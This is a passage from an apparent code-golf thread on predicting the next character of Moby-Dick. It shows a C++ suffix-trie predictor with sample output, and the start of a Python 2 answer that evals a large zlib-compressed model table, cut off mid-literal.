80;\n std::string correct, guess_diff;\n correct += p_ch;\n guess_diff += '~';\n while (file >> ch) {\n char guess = f(p_ch);\n // file_guess << guess;\n/* if (guess != ch) {\n if (ch == '\\n') {\n file_diff << \"$\";\n } else if (ch == ' ') {\n file_diff << '_';\n } else {\n file_diff << '~';\n }\n } else {\n file_diff << ch;\n }*/\n incorrect += (guess != ch);\n total += 1;\n p_ch = ch;\n if (guess == '\\n') guess = '/';\n if (ch == '\\n') ch = '/';\n correct += ch; guess_diff += (ch == guess ? ch == ' ' ? ' ' : '~' : guess);\n if (correct.length() == line_len) {\n file_diff << guess_diff << '\\n' << correct << \"\\n\\n\";\n guess_diff.clear();\n correct.clear();\n }\n }\n file_diff << guess_diff << '\\n' << correct << \"\\n\\n\";\n file.close();\n file_diff.close();\n std::cout << (std::clock() - start) \n / double(CLOCKS_PER_SEC) << \" seconds, \"\n \"score = \" << incorrect << \" / \" << total << '\\n';\n}\n```\nUngolfed:\n```\nsize_t constexpr N = 7;\nint constexpr NCHAR = 81;\nstd::array const charset = {{\n'\\n', ' ', '!', '\"', '$', '&', '\\'', '(', ')', '*', ',', '-', '.', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', ';', '?', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '[', ']', '_', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'\n}}; // this actually contains a lot of information, may want to golf it\n// (may take the idea of using AndersKaseorg's algorithm, late acceptance hill climbing)\nstd::array const char_index = [](){\n std::array char_index;\n for (size_t i = NCHAR; i --> 0;) \n char_index[charset[i]] = i;\n return char_index;\n}(); // IIFE ?\nstd::string past (N, 0); \n// modifying this may improve the score by a few units\nstruct node {\n int value = 0;\n std::array child_index {{0}};\n};\nstd::vector node_pool (1); // root\nint f(int c) {\n past = past.substr(1) + (char) char_index[c];\n for (size_t i = 0; i < N; ++i) {\n // add past.substr(i) to the string\n size_t node = 0;\n for (char c : past.substr(i)) {\n if (node_pool[node].child_index[c] == 0) {\n node_pool[node].child_index[c] = node_pool.size();\n node_pool.emplace_back();\n }\n node = node_pool[node].child_index[c];\n }\n assert(node != 0); // the substring is non-empty\n ++node_pool[node].value;\n }\n std::vector candidates (NCHAR);\n std::iota(candidates.begin(), candidates.end(), 0);\n for (size_t i = 0; i < N; ++i) {\n size_t node = 0;\n for (char c : past.substr(i)) {\n node = node_pool[node].child_index[c];\n if (node == 0) break;\n }\n if (node == 0) continue;\n assert(node_pool[0].value == 0);\n int max_value = 0;\n for (size_t x : candidates)\n max_value = std::max(max_value, node_pool[node_pool[node].child_index[x]].value);\n candidates.erase(\n std::remove_if(candidates.begin(), candidates.end(), [&](size_t x){\n return node_pool[node_pool[node].child_index[x]].value != max_value;\n }), candidates.end()\n );\n if (candidates.size() == 1) \n break;\n }\n return charset[candidates[0]];\n}\n```\n---\nExample output:\n```\n~ ~s ta~ hard ts tt~~~~~~~ ~doam ~~ ar~ ~ i~~~ ~~~ ~he~~~~,a~ t~~~~ t~ ho~si~ \nn--as his wont at intervals--stepped forth from the scuttle in which he leaned, \n~~~ thr~ ~~ t~~ crp~~~~~~~~ a~ wap~~~~~ a~eo~~ h~~ o~~ s~~~ or~~y~ ~ boog~e~~ t\nand went to his pivot-hole, he suddenly thrust out his face fiercely, snuffing u\n~ a~~ ~h~ ~n~ onitn~oi~~~~~~ ~~a~ ~ cewsoat~ a~ tae~~~~ ~e~~t~~ te~~ ouc~s~i~~ \np the sea air as a sagacious ship's dog will, in drawing nigh to some barbarous \nct as I~ iisk~~~~ ~~e~ tls~~~~ i~~~ ~~ soe~e Ae ~ ~~e~ tar~~~~~ trd~ ot ~ h~~~ \nisle. He declared that a whale must be near. Soon that peculiar odor, sometimes \n```\nThis one is near the end of the text. Most long words are predicted quite accurately (`intervals`, `pivot-hole`, `distance`)\n```\n au t tf weu~i~ aor~ mre~g~~~ m~t~~ ~~~ ~\"NC~X~t~ti~ ~~n~ SNsh A FNECnSERTR O\n on as it rolled five thousand years ago./////Epilogue//\"AND I ONLY AM ESCAPED A\nNL~~,S~ ~HR~ yO~ -/s~n \"~A~~ laeu~ta Vew~, S~e s~~ s~ ~ ain~ t~d ~t~ oirept~~ ~\nLONE TO TELL THEE\" Job.//The drama's done. Why then here does any one step forth\n```\nUpper-case doesn't seem good.\n[Answer]\n# Python 2, 756837\nUses something that might be Markov chains?\n```\nimport zlib\na=eval(zlib.decompress('x\\x9cM\\x9cis\\xda\\xcc\\xd2\\x86\\xff\\x8a2\\xf5\\xd4\\x81\\xb8,\\x977l\\'\\xf9\\x90\\x12 \\x02f\\x11G\\x02c||*%@,a\\x11a1\\xe0S\\xef\\x7f\\x7fC\\x13\\xf75\\xdf\\xda\\xaaa4\\xd3\\xcb\\xddw\\xf7\\x8c\\xfc\\xbf\\xcc\\x8f\\xd7E\\xe6\\xab\\x93if\\xce\\x9d\\xcc\\x8f\\xefG\\xd1\\x11\\xf1\\x1b\\xa2At\\x8e\\xa2\\'\\xe2\\xc5Q\\xfc,\\xa2{\\x14+\"\\x9e3\\xf63b\\x87\\x9f\\xb5\\x8fb$b\\xeb(\\x96E\\x8c\\x18\\x1b2\\xb6{\\x14/D\\xfcq\\x14\\x03\\x11}\\xc6zG\\xb1.b\\xc0\\xd3\\x06\\xcb\\xa9\\xf1\\xb3\\xcaQl\\x88X>\\x8a-\\x11\\xb7G1\\x11q\\x85\\x98\\x1c\\xc5\\x95\\x88\\xf1Q\\xec\\x89\\x98\\x1e\\xc5\\x81\\x88\\xa2\\xb3X\\xc4\\x19\\xe2\\xe4(\\xbe\\x898\\xd6\\xc9F\\xa8\\xe4E\\x16\\x19\\x8a\\xc8r^|U\\xc9\\x8b\\xc7\\xd8\\xfcQ\\xf4\\x8f\\xe2\\xbf\\x1c\\x06\\xbc\\xa8v6\\xef\\xba\\xb2\\x17V\\xf6\\x92\\xe8r6\\x07\\x9d\\xcc\\x95EN\\xe4\\xe9FW\\xb6\\xd9\\xea6M\\xa2K\\xdf\\xact\\x86\\xf9\\xc976Gy\\xf2\\xce\\xef\\x96G1\\x15q\\xf1\\xf1\\xd4\\xcc3\\xe6\\x8f\\xb8\\x96\\xdf}\\xd27\\xcf\\x1d\\x9da\\x8e\\x1f\\xcd\\xc5c\\\\\\x11Q\\xcf\\xfc\\x02Q\\x9c\\xe7\\\\\\xd6\\xbe;\\x8acY\\xe5\\x8c\\x17\\xcfu9F\\xc4\\x83\\xfc\\x0c\\x076\\x0b\\x1d;\\xc7\\x97\\xe7_U\\x9c\\xacT\\xfc\\xc2\\x1a\\xbe\\xb0\\x06\\x83\\r7b\\xd9\\x85<\\x9d\\xe8\\x86\\xbe|Q\\xff\\xfc\\xf2\\xa0\\xe2d\\xa7?\\xfbr\\xc5\\xbc\\x97\\x8c\\xbd\\xd1\\xbd}\\xb9f@\\x8e\\x01\\xb7\\x88\\xf7\\x88w*\\xce\\x13v1\\xc1ZCv\\x1c\\xebz\\xe7=]\\xce\\x1c\\x9d\\xcdg\\xe8,U/\\x98/\\x18`\\xed\\xf8\\x8d\\xa7\\xe21\\'\\x1bo\\xd4,sk\\x80\\xb8\\xc6L\\xc45Oq\\xa9M\\xac\\x9e8\\xc7?k\\xb8\\x9fY\\xe9\\x80\\x9a\\x8c\\x9d\\x8a\\x98\\xea\\xde\\x8c\\xcc\\xbb\\x94\\xa7\\x13\\x06\\xc8\\xca\\xfa\"\\x1e\\x98\\xa1\\xa4\\xe1R\\xfb\\xa1\\xb1W+\\xf2b\\xc0\\xa4\\x96W\\xac\\xa8\\x15\\x10=\\x8d\\xd3ZC#\\xb2F \\xd7j\\xccP\\xd78\\xadU\\x8fbWD\"\\xbd\\xd6Q\\xb7\\xaf\\xb5\\x98\\x0cH\\xac\\x85\\xfc\\x0cH\\xac5\\x15(k\\xdd\\x8f\\xa7\\xa6&\\xf1v\\xfa\\x19\\x00Q\\xc3\\x7fkxuM\\xe2\\xad(\\xa2D\\xd6\\xabX\\xb6&\\xfeyy\\x14\\x1d\\xdc\\xa4v\\x8azY\\xdbU\\xa4P\\xf9\\xc4\\xcc?\\x0fj\\x8d\\x9f\\x135\\xf8O\\xde\\xf7\\xd3Q?Ym\\xf4\\xe9\\n\\xefY\\xe12\\xab\\x9d:\\xc7\\n`Y\\xfd>\\x8a[\\x11\\xf1\\x88\\xd5\\x9a\\xc9\\xf6\\xcc\\x80#\\xad\\xde\\xd5+W\\x03\\x9e\\x12/\\xab!\\xf3\\x8e\\x98\\x81xY\\xf5\\x18\\xd0g2\\xe2e5g\\xb2\\x05+\\x13\\x07\\x9d\\x8b8fCD\\xd1j\\xca\\xcf,X]\\x81X+\\xb0i\\xa5\\x88\\xf5\\'\\x1c\\x14VW`\\xe9\\n\\x84]\\x19u\\xaa\\x15\\x16X\\x81\\xb0+\\x0c\\xb7\"\\'\\xbf.N\\xab0\\xa7?n\\xd5\\x13^\\x179\\xb5\\xf9\\xebB<\\xe4\\xe1$_[c\\x04\\xc3\\x06\\'\\x99W\\xbd.\\xb2\\x1ap\\xaf\\x8b\\xb3\\x8fy\\xcc\\x9fW\\x19\\xe6t\\xacE\\x18\\x1d\\xffoR\\xf1\\xeb\\xa2k\\xc9/\\x96\\xfc\\x1fk\\xfa\\x96Z\\xe7u\\xd1VLx]<\\xa9Q^\\x17\\x1dkL\\xd3\\x9a\\xe7\\xdfj\\xe4\\xd7Eh\\x8d\\x8fT\\xc3\\xaf\\x8b\\x9a5\\xben\\xc9\\ru\\xd2\\xd7E\\xa0\\xf6}]\\x94\\xad1\\x15k\\x8b\\x8f\\xd6\\xf8\\xaa\\xf5\\xae\\xa25\\xde\\xb7\\xe6)Y\\xe3\\x7fX\\xb2g\\x8d\\xc9[\\xeb/(:\\xfc[\\xd4P9=>X?}\\xb7\\xe4\\x8d\\xa5\\x92\\xad5\\xe5\\x9b\\xb5\\x9c\\x9d5Fbru\\x92\\x7f[\\xaf]Y\\xe3\\xd7\\x96\\xdaf\\xd6\\x16\\xe7\\x1a\\t\\xaf\\x8b\\x85\\xb5\\x06\\t\\x96\\xe1I\\x1e[\\xf3L\\xac\\xf5\\xfc\\xb2~;\\xb5\\x9e\\x0f\\xac\\xf1\\x12\\xd7\\xfb\\x93<\\xb4\\xe6\\x1fYk\\x8e\\xad\\xdf\\xf6\\xac\\xdf\\xf6u\\xfc\\x80\\x00\\x19\\x10A\\x03\\xdcz\\xa0ac\\x06\\x84\\xe3\\x00>3 2\\x07D\\xe6\\x80\\xd8\\x1e\\x10\\xdb\\x03\\xd8\\xc8\\xc0\\x02\\x82\\x01\\xb9w \\xea\\xd9\\x89\\x08\\xee\\x0c\\xe6\\xaa\\xd8\\x01\\xba\\x19L\\xf9\\x19\\x9a\\x1c\\xa0\\xc8\\x01\\x807\\x00\\xf0\\x06hq\\x00\\xd9\\x1d\\xf4\\xd0\\x89\\xa5\\x9e\\x985\\x80\\xb4\\x837\\xd6\\x00\\x82\\x0f\\xf0\\xae\\x01\\x19y\\x80\\xaf\\x0c@\\xf0\\xc1\\xf2cCf\\x87Vw\\xe8o\\x87Vw\\x98h\\x87]vXk\\x07a\\xdc\\xa1\\xf6\\x1d\\xba\\xdea\\x81K\\x012aR\\x977\\x88\\x97\\no\\x97W<\\x85u]\\n\\x17;e\\xceK(\\xda%\\xc4\\xed\\x12\\x16x\\t7\\xdcYV\\xbe\\x94-I\\xba\\xbcd\\xa3\\x97\\xec\\xee\\xf2\\\\W\\xb1\\xc3r;l\\xb4\\xc3r\\xbb\\xbe\\xea}\\xd7C\\x14s\\x9dt\\t\\xb5\\xdb-\\xd0\\x04>\\xb5#)\\xed\\xe0\\xb5;\\x12\\xd8\\x0e\\x84\\xd8Q8\\xec0\\xe2\\x8e\\xe4\\xbc[2\\x00?\\xb9\\xc4#\\nl\\xb3\\x80\\xe5\\n\\xa2\\x12![\\x05\\x81G!\\x1e\\x05AP)\\xed\\n\\x02\\xac\\x02\\xfa\\x85\\x80\\xa75\\xc5\\xba\\x02t\\xad )\\xc5l\\x01jW\\xe8\"\\x86\\xbcB\\xd0RrR\\xa1\\xc5+\\x08\\x9d\\xc2X\\xd5W \\xbd\\x17f\\xba\\xcd\\x82\\xa8Z\\xd2N!Q\\xf5\\x15\\xdeU}\\x85\\x83\\xc6@a\\xa5\\x01U\\x10\\xa5\\x9e\\xd8\\xee@\\x9fN 4\\x06,3#\\xd5\\xaf\\x01\\xc9\\x0c$\\xc5\\x10\\xa8\\x13\\xe0y\\xb2\\xd4\\x1dO0\\x96I\\xd5\\x16\\x93\\xadnh\\x82\\x85\\xcc/f \\x1f\\x18\\x06L\\xc6\\xba\\x9c\\t\\xc8c\\xc8\\x17\\x13j\\x8c\\xc9L}}\\x92\\xea\\xd2\\'\\xe2\\x88#\\x11\\xd9\\xd0\\x04\\xaa5\\xe9\\xf1\\xb3D]\\xd9\\x90\\xce&#\\xc6\\x0e\\xd9[\\x11\\x9d\\xf9\\xe8\\x97dj\\xc8\\xa5\\xc6\\xd3\\x080dRSP\\xbb\\x99\\x1ac\\xeb<%\\xf3\\x9b\\x00\\x9d\\x91\\xf7\\ri\\xdf<2/I\\xdf\\xc0Y\\x0c\\x94\\xc5<1\\x03\\x84\\xc5\\xc0W\\x0ct\\xc5\\x84,\\x07\\xb2b\\xe0KO\\xb2\\xb7\\x9ah\\x07\\xf43\\xaf\\x19uv\\x039\\x7f\\x12MI\\x1d\\xf3$k/\\xc8\\x80\\x0b\\xc5.s\\x06\\xe6=\\xc9\\x9e\\xa58\\x99\\xb8\\xea\\xd7\\x13\"yr\\x81\\xed\\x01\\xb7\\x89\\xbcN\\xb2\\xd9\\xc4\\xe8l\\x7f\\xcah\\x85|\\xc3:\\x9fp\\x89\\'0\\xefi\\xa2\\xa29\\x81\\xe9\\xdf\\x15\\xa5j\\xc7\\xc9\\xe9\\xb9\\xbc&Gc)\\x87\\xeb\\xe6@\\xe4\\x1c8\\x9d\\xcb)\\xde\\xe6\\xc0\\xf4\\x1cew\\x8e\\x04\\x90#-\\xe4.u\\xc99RHN\\x12\\x8b$\\xa1\\x1cj\\xc9\\x01{9\\xf8w\\x19L*\\xd3\\xf2*S\\xf5\\x95\\x9fxJ\\xff\\xac\\xdcb\\x00uc\\xb9\\x82\\xd8`\\x00Uj\\xb9\\xce\\x0c@d\\x19\\x88,\\x1f\\xd4ve\\xca\\xb4\\xf2\\x04\\x11RR\\x8e\\xd5\\x1ce*\\xab\\xb2m\\x992&-\\x7fV\\xfd\\x94/\\xac\\x11(\\xa8\\xec\\xaac\\x95\\xb5\\x92\\xfd\\x13VZ\\xdf\\xfeG\\xb4\\xd2\\x16Q;d&\\xf3\\xcd\\xe8l\\xaf\\x19\\xcb\\xb52\\xce\\x87k\\x99\\x8c{\\x14]\\x11\\xcf\\xcd\\xc7\\x0b\\x17$8\\x8br.\\x00\\xbf\\x05yqA\\xb6\\xb4\\xe8\\xec\\x02\\xb6v\"\\xb3\\x12\\x86\\'\\xaey\\x12\\xa1R\\'\\xa6y\\x1aKM\\xba@s\\'\\xea*\\x00qb\\xae\\xa7\\xa7{\\x9e\\x92N\\x17$\\x97/\\x04\\x96E\\xd2-\\x8enQ\\xf4\\x05I`AA\\xbe \\tX\\xf4\\x7f\\xa1t\\xcedv\\xe6o\\xf8\\x98\\xcc\\x9b\\xf9;\\xc0d\\xb6\\xe6\\xef6Mf\\xf3\\xa1T\\x93Y#\\xae\\x18\\xfb\\xdb\\xfc]\\x8e\\xc9,\\x8d\\xce{`\\xc0\\x88\\xa7C\\xf3Wg&\\x93\\x98\\xbf+3\\x7fx\\xb6\\xce\\xdb?\\x8a3\\x11{\\xcc\\x1b36\\xe5\\xe9\\xe2\\x8fh2\\xe6(\\xce\\x99a\\xc6\\x0c\\x13\\xf3\\xd7\\xf2&3f9\\x1dv\\xfc\\xc4\\xd3\\x16O#\\xdc\\x08&\\xba\\xb8\\xc0-\\x9bFm\\x01\\x81]\\x00\\x88\\x0b\\xc3\\xd8\\xae\\xbe\\xe2T!\\x9f\\x94\\xea\\x1f\\xc5\\xbd\\x88E\\xb4S@\\xcc\\xb3M\\xcf\\xa8{~g\\xde\\x80\\xf56\\xf8Y\\xfdc\\xac\\xc9\\xd4\\xcc_\\xe72\\x99\\n\\xda)\\x7f\\x8c\\xcd|eo_\\x1du\\xb9\\xaf\\xf4\\x1a\\xbeZ\\xe1\\xfe\\'Gj\\xac\\xd6\\x8f\\x1b\\x15\\xbdg\\xea\\x8e\\xe6\\x9c:\\xd3\\xd5\\t\\xfc:\\xc8X\\x07%\\xea\\xf0\\xf7\\xfa\\xe9%\\x1d\\x91\\xe9l\\xd7\\xc9\\x12u\\x89>\\xe9\\x82\\xd7\\x01\\xab:\\xb5G}\\xc3\\xc4+D\"\\xaa\\x0e\\x08\\xd6i\\xf6\\xd5\\x0b\\x9a\\x0e\\xeb4\\x06\\xeb\\x02\\xa3\\xc2\\x1e\\xeb5\\x05\\xad:8[o(\\xce\\xd6+\\xec\\xbe\\xcd\\xcf\\x9a\\ne\\xf5\\x88\\xe5\\x90\\x0c\\xce_9[X[\\x95\\xc3\\x1aD]S\\xca\\xac\\xd1\\xd59f:G\\xdb\\xe7g\\x0c \\xf9\\x9c\\xd3\\xeeYgu\\x99k\\xcc\\xb1f\\x865\\xf6ZS\\xf1\\xae\\xf1\\xe7\\xb5z\\xb9Yg48\\xce\\x1f\\xf4\\x15\\xdfu2\\xf3\\x9d\\x01\\xdfA\\xec\\xccwG\\xcd\\xbc\\xc62k@kM\\x07y\\r\\xc0\\xad\\xa98\\xd6t\\xdd\\xd7\\x18\\x7f\\r\\xd6\\xad\\xa1\\xab\\xeb_\\x8a\\xcdk\\xe0\\x7f\\r\\xb5]\\xc3\\xf6\\xd7\\x00\\xfd\\x1a\\xf8_\\x93\\x14\\xd6}\\x85\\xdeu\\x8f\\xa7\\xb4\\xb9\\xd7#\\xd6\\x0b\\xd0\\xaf\\x81\\xff55@H\\xb9\\x15&\\xba\\x86P&\\x93f[\\xc8\\xca\\xc2\\xb1\\xbe-\\x94]\\x08\\xa7\\x0e\\xe1\\x07!\\xdd\\xa0\\xf0\\tQ\\xb8\\x84\\x90\\xa3\\xb0\\xa9\\x8e\\x1dBAB(H\\x88[\\x86\\xf4\\xccC\\x02&\\xfc\\xa1\\x8e\\x1dz\\x1a0a^}<\\xa49\\x15R\\xb0\\x85\\xb0\\x91P\\x02F\\x90#\\xa4\\xb8\\x0b\\xe9\\x99\\x87\\xd4\\x84!\\xce\\x1e\\x12\\x02!\\xbd\\xd2\\x10\\x18\\n\\xc5\\xa3\\xaeD\\xc4\\x81C\\xf1\\xc4\\xbc\\x888{\\x08\\xf6\\x84\\xa7\\x88\\x93pH(e\\x12J\\x99$Us&\\xd4\\xd4\\t\\x0c5\\xa1\\r\\x93L\\x15\\x91\\x12|.I\\xd4\\xc8\\t| !\\xf3\\'\\x94\\x7f\\tT+\\xe9+\\x16$\\x90\\x8b\\x84pI\\xf6\\x0c\\xe0\\xb0.\\x81\\xcd%DC\\xb2C$\\xf3\\'\\x84VB\\x01\\x99\\x10\\x86\\tgf\\xc9\\xcf\\xa3(\\\\7\\x01,\\x12t\\x9d\\xa0\\xe0\\x84\\xfeY\\x02\\xedO\\x80\\x90\\x84\\x92$!\\xc5$\\xd8;\\x01\\xfd\\x12L\\x7fA\\xa1\\x92\\x9c\\x0c\\'S\\xec\\xa1w\\xfb\\x89jjO3dO\\t\\xbf\\'\\xa8\\xf7\\xf0\\xb4}\\xac\\x10\\xb2O4\\xf8\\xf6\\xa2\\xebO\"\\x82<{\\x94\\xb6\\xa7E\\xb2\\xdf\\xaa\\xc7\\\\\\xd1\\x1d\\xdd\\xa3\\x93=\\x9a\\xda\\x8b\\xfe$\\x87\\xedE\\x11R\\xaf\\xecU=f\\x8f\\xd2\\xf6\\xec~om\\xf9\\xeaR\\xadqE=rE\\xa3\\xeb\\x8a:\\xe7\\x8a:\\xe7J\\xea\\x9c{\\x11\\xa9s\\xae\\xa8\\x94\\xae\\x04\\xc5\\xafE$\\xbf\\\\\\xd1l\\xbb\\xa2_u\\xc5\\xe6\\x8a\\x12\\xca\\x82\\xe7\\xc5\\x9a\\xc6z\\xb1\\xae\\xb8P$\\xc0\\x8b`H\\xb1\\xa8\\x10Q\\xf4\\x15N\\x8ad\\xe5\"\\x80T\\xa4<*\\xb6\\x15\\xc7\\x8a\\x1c\\xa0\\x15#\\x85\\x93\"\\xed\\x87\\xe2D-[\\x84P\\x14c\\x05\\xd0\"\\xa7\\x87\\xc5\\xad\\x1a\\xaeH\\xfe)\\x9e\\xd4.(S\\xb4\\xb6\\xac\\xf64\\xc5\\x8cr\\xb2\"\\x14\\xa8\\x88\\xbb\\x17\\xf1\\xe6\\x8e\\xaf\\x88\\xd4\\xa1r\\xefp\\x9b\\xa1C=\\xd7\\x81rt\\xd0_\\x87\\xf6X\\x87\\xc2\\xb7#\\xbb\\xff&\"-\\xafN\\x131Q\\x07\\xed\\xd01\\xec\\x80n\\x1d\\x1a\\x82\\x1d\\x02\\xaa\\xa3\\x8a0\\x1d\\xd0\\xb6\\xe3\\xb02\\xee\\x85t\\xb8\\x17\\xd2\\xb1N\\x1d;\\xec~\\xcb\\x81\\xdf/p\\xeaZ\\xbc2\\'O\\'\\x1a\\x1a\\xbf\\x12\\xb5\\xdc/Y\\xb0T>\\xbfR5\\xd7\\x1d\\xfc\\xe6\\x8e\\xe0\\xba\\xc3Dw\\x04\\xc9\\x1d\\xa5\\xfc\\x1dArG\\xe8\\xdc\\x11$w9\\x8d\\x81;\\t\\x129\\x0e\\xbb\\x93EJ\\x82\\xb9\\xa3\\x9dp\\xf7E\\xc3\\xa1\\xc5\\xed\\x8a;\\xab\\x81F\\xeb\\xbeb\\xc5o\\x05\\x9dT@\\xbd\\n\\xc0ZaG\\x15vT\\xc1\\xa7*\\n\\xa1\\xa6\\x92\\xf9(r2\\x95g\\xf4^\\xe1\\xeeH\\xa5\\xc9\\xefH\\xf7\\x95\\x10\\xb1\\xad\\xc1S\\xc1\\xa9*O\\xea>\\x95\\x8a\\xee\\xb9R\\xd7\\xf0\\xabp\\xdf\\xa6\\x12\\xa8\\x87V\\xc4\\x85\\x7f\\x88\\xc8\\x8d\\x9dJ\\x81\\xc9\\xf2\\xea(\\x15\\xc8E\\xa5\\xc8\\x80\\x1f\\xac\\xa1\\xc4S*\\xe4\\n9\\xaaB\\xa3\\xb5B\\xc2\\xab\\x08\\xceK\\xbb\\xadB2\\xaf\\x88\\xf7\\x08\\xa2WH\\xe6\\x15\\x12Ae\\xa4\\xc8Q\\xa1\\xd7\\x98\\xa5\\xb0\\xce\\xaeu\\rY\\x8a\\xf0,\\r\\xd1,\\xb6\\xf7\\xb0a\\x16\\x92\\x90\\x85\\x82f9O\\xce\\x92\\xad\\xb2\\x9c\\xa8e\\xa1$Y\\xc8f\\x96s\\x80,\\xa1\\x9c\\x85E\\\\\\x8b\\x01\\xe4\\xf8?\\x0b\\xad\\xcc\\x82\\x0b\\xd9H\\x8d\\x95m\\xf26i;\\n^g\\xe9@e\\xf1\\x87lU\\xed\\x96-3\\x96.h\\x96r(+\\xfe \\x80\\x9e\\xad\\xf1b\\n\\xaa,\\x9d\\xd8l\\x81\\x9fy\\n\\xb6\\xd9\\x92:W\\x96\\xcb\\x1c\\xd9\"/\\xf6\\xd9\\x85\\xc4\\xf71\\xb1\\x99\\xe3!\\xb3\\xc6@jUT\\x0b\\xfbv\\x13\\xa7*\\x9eL\\xf8$\\xa3\\x89\\xb4\\x94PL1c\\n\\xb1I\\xc9\\xd1)Q\\x99\\xd2\\x01H\\x89\\xeb\\x94hO\\xc9\\xe7\\xdf\\xa8\\xae\\xbei\\xae5\\xdf\\xa8\\x98\\xbeQ\\xcb}\\xb3\\x96#\\x9e\"\\x97`R|8\\xc5SR\\xf1\\x1fa0)EP\\xfa\\x0b\\x11\\x0fL\\xc7\\x1a\\x10)\\xa7\\x85)\\xae\\x9f\\xd2\\x92O!\\xafi\\x9f5\\xd0\\xbeOi\\x87y\\xa1z`\\n7M\\x0f\\xea\\xb8\\xe9\\x9e\\xc9\\xe0\\xa6\\xdf\\xacb8%\\x1b\\xa7\\xc4u\\xca-\\xa3\\x14r\\x9a\\xc2\\xc9R\\x98Z\\x83}6\\xe8f6h&4\\x92\\x8f\\xa7\\xa6Erk\\xf0\\xe2\\x06i\\xb7\\x81\\xef7\\xa08\\r*\\x9b\\x06\\xd7\\x85\\x1a\\xa4\\xf3\\x06d\\xa6Am\\xd4\\xa0\\xbaj\\xf8\\xfc\\xec\\x07O\\x9f\\x11\\xe1@\\r\\x9a\\t\\r\\x88O\\x03Do\\xb4\\x18@\\x0f\\xa2\\x01\\x8c7:\\xec\\xc2J\\xd1\\r\\\\\\xbcA\\xc9\\xd4\\xb0\\xda\\xb7\\x0b\\x92m\\x03\\x8e\\xd3\\x80\\xb36,\\x05\\xe2\\xee\\x0bk\\xe2\\x93me\\xff16\\x88\\x01\\xdf\\x18W\\x8aa+1n\\x17\\xe3\\xa2\\xf1P\\x8d\\x14c\\xe6x\\xccX\\\\?\\xc6\\xf5c\\xc2$&-\\xc4\\x80o\\xbc\\xd0\\xe0\\x89q\\xaax\\xc9\\xdb\\xc8<\\xf1\\x8a\\xb1\\xb0\\x99\\x18g\\x8d9(\\x8f\\xa9\\xbabJ\\xb8\\x983\\xc0\\x980\\xb9\\x82\\xac,\\x80\\x8b\\x05Zm\\x9dTy#\\xbf\\x03|b(A\\x0c:\\xc5\\x90\\xf7\\x98c\\x9c\\x18\\xc3\\xc4\\xa0^\\xcc;b\\xe0+\\xb6\\x88\\x8b\\xebk`\\xbb\\x9c\\xc0\\xb9\\x9c\\xb5\\xb9\\x82\\xda\\x92O\\\\\\xf1}I\\x85.G\\xb6n\\x9e\\xb1u\\xc4\\x1a?\\xe3\\xac\\xcd%\\xa6\\\\\\xb2\\x8c[\\xe6gD\\xa5\\xfb\\xc8+\\xda\\xea\\x11.\\'p.gm.w\\x86\\\\\\xce\\xda\\xdc&\\xf3r\\xd6\\xe6\\x86\\xfa\\xd4!\\xc5\\xba\\x9c\\xc09\\xdc>q)\\xf5]2\\x8ck\\r\\xa0#\\xe4\\x12\\x03.g\\xba.\\xa5\\xbeK\\xa9\\xba\\xd9\\xf1\\x94\\xbb4.Wl\\\\b`\\x83\\x83\\xba\\xdc\\xa3q9\\xecp\\xc5W\\x85\\x1a\\xb9\\x90\\x95\\r5\\xb2\\x8b\\xaf\\xba\\xc4\\x80\\x0bww\\xd7h\\x12\\xf6\\xb5\\xe1\\xfe\\xc2\\x86\\x1do\\xe8vm8\\xe1s9~\\xdap\\x14\\xecr\\xd8\\xe1\\xda\\xa7K\\x1b+s;\\xd6\\xd5f\\x1a\\xe0\\xaev\\xd33\\x1bBf\\x83;\\xbbV\\xf7\\xd1u1.a\\xe0f\\x99\\x98\\x88\\xd80`\\xe3\\xa2,x\\xc0\\x86H\\xdb\\x90\\xd07\\xf0\\x80\\r\\x01\\xea\\xa0\\xee\\x11\\x17\\\\G4\\x17#\\x16\\x1c\\xb1\\x8d\\x88P\\x8ch]E\\x16:G\\xb24\\xc92\\x11\\x0b\\x8e\\xe4\\xcdB\\x1a\"\\xbd\\xc8o\"\\x80::\\xe9\\xb5$\\xf2A\\x8d\\x13a\\xf4\\x88l\\x1a\\x01f\\x11\\x1d\\xd7h\\xc3\\xd8\\xa9*0\\xa2=\\x16QKF)K#\\xcfG@r\\x84\\x0fF\\x84D$\\x81\"\\x146J\\x18\\x10)4DT\\xb9Q\\x07Q@@\\xca\\xeb\\x88\\xcb\\xb7\\x11\\x17u#\\x92{TV\\x18\\x89\\xe8JF\\xa0OTg\\x00\\xd9?\\x82\\xb7Fy\\xe6\\xf5\\x18Ku3\\xc4\\x9eC\\xac<\\x14\\xd3\\xca\\x9d\\xcc!.3\\xc4e\\x86\\xda\\x1e3C\\xb0\\xcf\\x03\\x9b;\\xb0\\xe5\\x03\\xfb<\\xa0\\xb4\\x03\\xaa<\\xa0\\xbf\\x03\\xaf8`\\x81\\x03v9\\xa0\\xa9\\x11o\\xbb\\xa63p\\xcd\\xd5\\xafk\\xdag\\x07K\\xab\\xd7\\\\\\xfb\\xbf&\\x8b_\\xd3r\\xb8\\xa6\\xe5pM\\x1b\\xe1\\x9a\\x0e\\xdc\\xb5\\xac]: \\xd7\\xec\\xf3\\xda\\xda\\'Z=PU\\x1e\\xe6\\xfa\\xb3\\x03\\x08y\\xa0\\xbds\\xe0`\\xe3@\\xf7\\xeb\\x00\\xf8\\x1e\\xc8<\\x07\\x0e+\\x0e\\xc0\\xf7\\x81\\xabI\\x07\\xa0\\xfe\\xb0d\\x06\\xfc\\xe8@\\xff\\xec\\x00\\xe8\\x1d(\\x93}\\x0bz|\\xd0\\xcbg\\xcb\\xbe\\x85o\\xbe\\xc2\\x9e\\xf1\\x81/\\x1f\\x8b\\xfb\\xdc\\x88\\xf7Aa\\x1f\\x83\\xfaX\\xdc\\xa7\\x7f\\xe1\\x13\\xcb~\\xa0p\\xe1K\\xdcK\\xe9\\xea\\x83\\x11~Y\\xd1\\xc0\\x87u\\xf8\\x12\\xe1/\"B\\xea}>_\\xf2\\xa9b}j\\x01\\xbf\\xc0\\x0cy\\x96\\x0e\\xd5\\xf7\\xa5\\x00\\x10\\x92\\xed\\xbf\\xf0bN{\\xfc\\x0e?\\x83\\xdf\\xfb\\x94\\